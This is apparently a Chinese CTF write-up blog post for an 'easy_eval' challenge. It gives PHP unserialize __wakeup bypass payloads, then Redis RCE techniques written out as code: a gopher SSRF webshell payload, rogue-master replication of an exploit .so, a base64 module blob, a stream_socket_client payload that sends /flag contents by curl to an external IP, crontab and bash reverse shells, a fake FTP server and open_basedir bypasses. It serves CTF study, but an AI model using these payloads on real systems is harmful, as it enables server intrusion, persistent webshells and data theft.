内容目录

easy_eval

php unserialize

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);

    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }

}else{
    highlight_file(__FILE__);
}

这里有三种思路

类名小写

这个是看别人的wp看到的,由于类名是不区分大小写的,因此只要类名改成小写,绕wakeup改A和改B的属性数量都行

POC:

O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}

绕过正则

利用正则回溯最大次数上限绕过preg_match

查看正则回溯最大次数上限:var_dump(ini_get(‘pcre.backtrack_limit’));

所谓正则回溯,是在非贪婪匹配时,优先匹配其后的字符,比如这题优先匹配(.*?)后面的:,当没匹配到:时,才匹配(.*?),逐个字符向后递推反复的这个过程。

正则回溯最大次数上限即非贪婪匹配的最大字符数,超出则正则匹配罢工,默认100万。

所以构造一个数组,第一个元素是一个形如"A":1111...1:,其中省略100万个1的字符串,第二个元素才是含有我们手工改变了A对象属性个数的B对象。

My POC:

a:2:{i:0;s:1010005:""A":111...1:";i:1;O:1:"B":1:{s:1:"a";O:1:"A":2:{s:4:"code";s:10:"phpinfo();";}}}

不绕过正则

众所周知,php7.0.11修复了CVE-2016-7124,即反序列化wakeup绕过的漏洞。但是这个修复并没有真正解决问题,反而还带来了新的问题。

这个修复主要有三个方面:

  1. 有wakeup函数但是wakeup函数执行失败对象在销毁时不执行destruct函数,防止绕过在wakeup函数中所做的限制导致执行了危险的destruct函数

  2. 一旦反序列化出错就销毁已经序列化了的对象,防止被利用

  3. 当session反序列化失败时不要使用

经过调试发现一些特性:

  1. 反序列化字符串中对象属性个数值多于实际个数,或在对象中间*添加无意义字符,会导致当前对象反序列化出错

  2. wakeup抛出异常也算当前对象反序列化出错

  3. 反序列化字符串中对象属性个数值少于实际个数,或者在对象末尾添加无意义字符时,当前对象反序列化不会出错,但是父对象会反序列化出错(官方wp利用的是这点,在B对象末尾添加了一个;,B不会出错,但是最外层反序列化出错)

  4. destruct时,对象从外向内

  5. wakeup时,如果内层对象有wakeup没执行,先执行内层的wakeup

  6. 若对象存在wakeup,wakeup在destruct前执行

修复存在缺陷:

  1. 执行不了自己的destruct,但是可以执行别人的destruct

  2. 没有wakeup的情况下,destruct就能够先于内部对象的wakeup被执行

因此,在>=7.0.11的php中,可以给A多赋值一个属性,但是将其属性个数改为1,让B的destruct先于A的wakeup执行。

My POC:

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";anyword}}

Offical POC:

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}anyword}

  1. <=7.0.10时,因为不会立即销毁对象,因此本payload无效

  2. 中间是指在指定参数个数的反序列化字符串完成前,比如"A":1:{s:4:"code";[inserted]s:10:"phpinfo();";就是在中间插入,"A":1:{s:4:"code";s:10:"phpinfo();";[inserted]s:5:"code2";s:10:"phpinfo();";就是在结尾插入

  3. B无wakeup

    "A":1:

    unserialize->A wakeup->continue->B destruct->A call->A destruct

    "a":2:

    unserialize->B destruct->A call->continue

    "A":1: with sth at end of A

    unserialize->B destruct->A call->A wakeup->A destruct->continue

    "A":1: with wakeup throwException

    unserialize->A wakeup->B destruct->A call->continue

    "A":1: add ; at the end of B

    unserialize->B destruct->A call->A wakeup->continue

  4. B有wakeup

    "A":1:

    unserialize->A wakeup->B wakeup->continue->B destruct->A call->A destruct

    "a":2:

    unserialize->continue

    "A":1: with sth at end of A

    unserialize->A wakeup->A destruct->continue

    "A":1: with wakeup throwException

    unserialize->A wakeup->continue

    "A":1: add ; at the end of B

    unserialize->A->wakeup->B wakeup->B destruct->A call->A destruct->continue

redis RCE

之前一直没有搞过redis,这次补上这块内容

redis利用概述

目前redis常见的利用方式有一下两种

  1. 写计划任务反弹shell或者ssh key连ssh shell或者webshell

  2. 主从复制写动态链接库(.so)作为模块加载

操作redis的方式有

  1. shell里redis-cli:redis-cli config set dir /tmp

  2. SSRF向6379端口发送数据:常见的有使用gophergopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A,此外还有dict://127.0.0.1:6379/config:set:dir:/tmp和最近十分流行的ftp被动模式

  3. 使用程序语言提供的redis api:比如php$redis->config('set','dbfilename','crontab')

分析

查看phpinfo(),得知

  1. 限制了open_basedir只能在/tmp或者/var/www/html,

  2. disable_function禁用了几乎所有命令执行,没有禁用assert,但是php7里assert已经不能传字符串实现命令执行了,

  3. 没有禁用读写文件函数和scandir,发现当前目录下除了index.php还有一个config.php.swp,读取后用vim -r还原得到redis的配置

  4. 尝试读取/tmp下的日志失败,尝试向/var/www/html写入webshell失败,但是/tmp目录有写权限

  5. 启用了redis扩展

  6. 测试发现可以外连

综上,写webshell没有意义,crontab可以尝试但很可能没有crontab,因为靶机经过端口映射,ssh连入不太可能,ssh key也没有意义,因此主要考虑加载.so进行命令执行

然后操作redis加载.so,然后使用加载的模块执行命令,

写入.so文件

既可以主从复制写.so文件,也可以考虑php file_put_contents将.so写入/tmp,这里使用.so文件来自n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

主从复制写.so
$redis=new Redis();
$redis->connect('localhost');
$redis->auth('you_cannot_guess_it');
$redis->slaveof(vps_ip,vps_port);
$redis->config('set','dir','/tmp');
$redis->config('set','dbfilename','exp.so');

使用redis-ssrf里的redis-server.py起一个假的redis-server在vps上供目标复制

~/redis-ssrf$ python2 rogue-server.py 
[+] Accepted connection from 8.134.37.86:44436
[+] FULLRESYNC ...
[+] It's done
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:202:"$redis=new%20Redis();$redis->connect("localhost");$redis->auth("you_cannot_guess_it");$redis->slaveof("106.15.249.250",8088);$redis->config("set","dir","/tmp");$redis->config("set","dbfilename","exp.so");";s:5:"code2";s:4:"sdas";}}
file_put_contents写.so
file_put_contents('php://filter/write=convert.base64-decode|zlib.inflate/resource=/tmp/exp.so','7X0JYFRF1u693Vk6na1JQmj2AAGCQAiLmBGBhBAIeyQEA6JNJ+kkDUl36AUDOhBlkUUUhFHGQY2OCy6juKCIjsRlBB1Ho7gEdTQuOGFUQFx+FDHvnLpVle66dRvnf/Pe///v2XBzb53vnFOnTi33dt+qU6sLZ04xqarCPmZlgoKpxiwtnUfpGfdyFqDlKtHw1650I7zRivGnV1H4GTSRvygXA0fTbI3aNDsj7HySmtQSHS5nOofcYirHzhYqffHRQGVMBDvFj42e54Jc1L+QH/PkGjhupNdj6Hk+HEE4uCuET4aQ7k31sE8cHOfDUQjHSDi6wJEIRx846pXw/NPgqKTX6MK+9NoOx8AQnVZ6XgpHEhwTFa3Ob6D0Gjiuotf5cBTQ661wTILDAceUEH2r6NkLRzy9HgzHBSE8G+A4D44tNJ0Lx3g4fkPT6+l5Lhzb4EiH41I4LoOjDI4LKX4xPU+AYzK9jg3JZxgc3eHIVrR2g58KODbS681wNMJRCkcVHEso/RI4roXjajhSQvSNgmMGHAPgcFHaWjiS4bgSjmo4lsNxORy9FK2djoNjHRwXKcafBSHXfjic9HqeorVDNxxTKW2mRP46A73FQnqEhKfEQLZOQvPB0SMkvRCOOXAMgaMcjtFw5FBsOD1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wbybV7tPNEUThd5nzGQ70tHt+6C/0TeQ4rcf7lB7XzGoP2GngUTNfkN2tli084YeaSHou9/OEwJJpJP3k7tbE0Kp4v2dzGQn36Pdj4s0EX5/wU=');

加载.so文件

redis-cli

没法执行bash命令,此方法不可用

php-redis

上文主从复制部分,已经使用过php-redis操作redis了,但是php-redis找不到module load的函数,恐怕没法加载.so文件. 或者其实是可以的只是我不知道而已?

gopher

使用redis-ssrf能够生成一键主从复制到命令执行的gopher payload,但是这里用的file_get_contents一般情况下是不会开启gopher协议的。而且file_get_contents的gopher不支持urlencode?

dict

参考SSRF漏洞用到的其他协议(dict协议,file协议) – My_Dreams – 博客园 (cnblogs.com)

但是file_get_contents同样默认不开启dict

stream_socket_client

通过抓取蚁剑的redis插件流量发现了这个方法

$cmd="*2\r\n$4\r\nauth\r\n$19\r\nyou_cannot_guess_it\r\n*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$11\r\n/tmp/exp.so\r\n*2\r\n$11\r\nsystem.exec\r\n$55\r\ncurl\${IFS}http://106.15.249.250:8088/\$(cat\${IFS}/flag*)\r\n*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n";
$fp=stream_socket_client("tcp://127.0.0.1:6379",$errno,$errstr,30);
fwrite($fp,$cmd);
$c= fread($fp, 1024);
fclose($fp);
echo base64_encode($c);

终于调通了,注意在php字符串里$要加\转义,或者用base64编码后解码可以少很多麻烦

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:397:"$cmd="*2\r\n$4\r\nauth\r\n$19\r\nyou_cannot_guess_it\r\n*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$11\r\n/tmp/exp.so\r\n*2\r\n$11\r\nsystem.exec\r\n$55\r\ncurl\${IFS}http://106.15.249.250:8088/\$(cat\${IFS}/flag*)\r\n*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n";$fp=stream_socket_client("tcp://127.0.0.1:6379",$errno,$errstr,30);fwrite($fp,$cmd);$c= fread($fp, 1024);fclose($fp);echo base64_encode($c);";s:5:"code2";s:4:"sdas";}}
ftp被动模式

官方wp是这种方法,还真是紧跟时代潮流啊

伪造ftp服务器

import socket  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(('0.0.0.0', 9000))  
s.listen(1)  
conn, addr = s.accept()  

conn.send(b'200 ok\n')  
print(conn.recv(20))  
conn.send(b'200 ok\n')  
print(conn.recv(20))  
conn.send(b'200 ok\n')  
print(conn.recv(20))  
conn.send(b'500 nope\n')  
print(conn.recv(20))  
conn.send(b'500 nope\n')  
print(conn.recv(20))  
conn.send(b'227 goto (127,0,0,1,0,6379)\n')  
print(conn.recv(20))  
conn.send(b'150 go\n')  

conn.close() 

payload

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_REQUEST[1]);";};}&1=file_put_contents('ftp://106.14.179.48:9000/',$content);

$content内容可借用redis-ssrf生成,其实就是gopher后面那段url编码了的redis报文

这里使用goperus生成的写入webshell的payload带入$content,成功写入了shell.php,加载.so文件同理。

$content='%2A2%0D%0A%244%0D%0Aauth%0D%0A%2419%0D%0Ayou_cannot_guess_it%0D%0A%2A2%0D%0A%244%0D%0Aauth%0D%0A%2419%0D%0Ayou_cannot_guess_it%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A'

vscode php intelephense找不到类型Redis

找到一个csdn博客说设置里Intelephense:include path添加对应的路径,但是并没有用。最后还是stakeoverflow解决了我的疑问:php – Undefined type ‘Imagick’ in VSCode’s intelephense – Stack Overflow,在Intelephense:stubs添加redis后问题解决。

php-redis安装使用
sudo apt install php-redis

去百度php-redis怎么用,都找不到啥有用的信息,找到的博客大多是复制粘贴的一些数据操作的用法。。。菜鸟教程也是,php-redis就一页,啥都没讲,真的是恶心坏我了。建议看redis 命令手册,然后在vscode里看代码提示。。。

命令手册的索引页没有module load,其实是有的:Redis MODULE LOAD 命令,但是php-redis貌似没有实现这个api

绕过open_basedir

讲的很全面,但比较粗浅:浅谈几种Bypass open_basedir的方法 [ Mi1k7ea ]

ini_set+chdir

仅限php<7.4.21,本题不可用

(4条消息) 从open_basedir认识ini_set_adminuil的博客-CSDN博客

payload:

mkdir('/tmp/111');chdir('/tmp/111');ini_set('open_basedir','..');chdir('..');chdir('..');ini_set('open_basedir','/');

symlink

本题symlink被禁用,不可用

<?php
mkdir("/tmp/A");
chdir("/tmp/A");
mkdir("B");
chdir("B");
chdir("..");
chdir("..");
symlink("A/B","7ea");
symlink("7ea/../../etc/passwd","exp");
unlink("7ea");
mkdir("7ea");
?>

**glob:///***

经测试php<=7.2.34,7.3.29,7.4.20可用,php>=7.4.21,7.3.30不可用,本题不可用

  1. DirectoryIterator
foreach(new DirectoryIterator("glob:///*") as $f){echo($f."\n");}
  1. opendir+readdir
$b=opendir("glob:///va*/*");while($file=readdir($b)){echo $file."\n";}
  1. scandir
print_r(scandir("glob:///et*/*"));

bindtextdomain/SplFileInfo::getRealPath

realpath()+windows通配符 ‘<><‘

php-redis写webshell

构造了一个利用php-redis写webshell的payload

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:238:"$redis=new Redis();$redis->connect("localhost");$redis->auth("you_cannot_guess_it");$redis->config("set","dir","/var/www/html");$redis->config("set","dbfilename","11/shell.php");$redis->set("1","<?php eval(\$_POST[1]);?>");$redis->save();";s:5:"code2";s:4:"sdas";}}
php-redis写crontab
$redis=new Redis();
$redis->connect("localhost");
$redis->auth("you_cannot_guess_it");
$redis->config("SET","dir","/var/spool/cron/crontabs");
$redis->config("SET","dbfilename","root");
$redis->set("-.-","\n\n\n* * * * * bash -i >& /dev/tcp/106.15.249.250/8088 0>&1\n\n\n");
$redis->save();

注意&要urlencode

可以看到确实写进去了,但是不知道为啥没作用,明明curl都能外带数据

懂了,原来是cron服务没开

蚁剑连接redis
  1. 插件市场安装

  2. 启动插件

  3. 添加配置并双击连接

  4. 右键一个数据库启动redis终端

生成redis报文

抄官方wp的

<?php  
function command($cmd){  
    if (is_array($cmd)) {  
        $ret = "";  
        foreach($cmd as $c){  
            $ret.=command($c);  
        }  
    }else{  
        $ret = "";  
        $cmd_arr = explode(" ",$cmd);  
        $cont = count($cmd_arr);  
        $ret.= "*$cont\r\n";  
        foreach($cmd_arr as $v){  
            $ret.="$".strlen($v)."\r\n";  
            $ret.=$v."\r\n";  
        }  
    }  
    return $ret;  
}  

$send = command(["auth you_cannot_guess_it","module load /tmp/exp.so",'system.exec /bin/bash${IFS}-c${IFS}whoami${IFS}>/tmp/whoami.txt']);  
echo urlencode($send);  
bash反弹shell

一般这个就能用

bash -i >& /dev/tcp/106.15.249.250/8088 0>&1

但是如果不是在shell里跑的,比如我们加载的redis模块里,可能需要这么做

echo 'bash -i >& /dev/tcp/106.15.249.250/8088 0>&1'|bash

bash -c 'bash -i >& /dev/tcp/106.15.249.250/8088 0>&1'

其他

Bug #81122 SSRF bypass in FILTER_VALIDATE_URL

php<7.3.29,8.0.8,7.4.20

filter_var("[https://example.com:\@test.com/"](https://example.com/@test.com/%22), FILTER_VALIDATE_URL)

    • 我都毕业工作了。。。工作后就没啥时间更新博客了

Leave a Reply

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据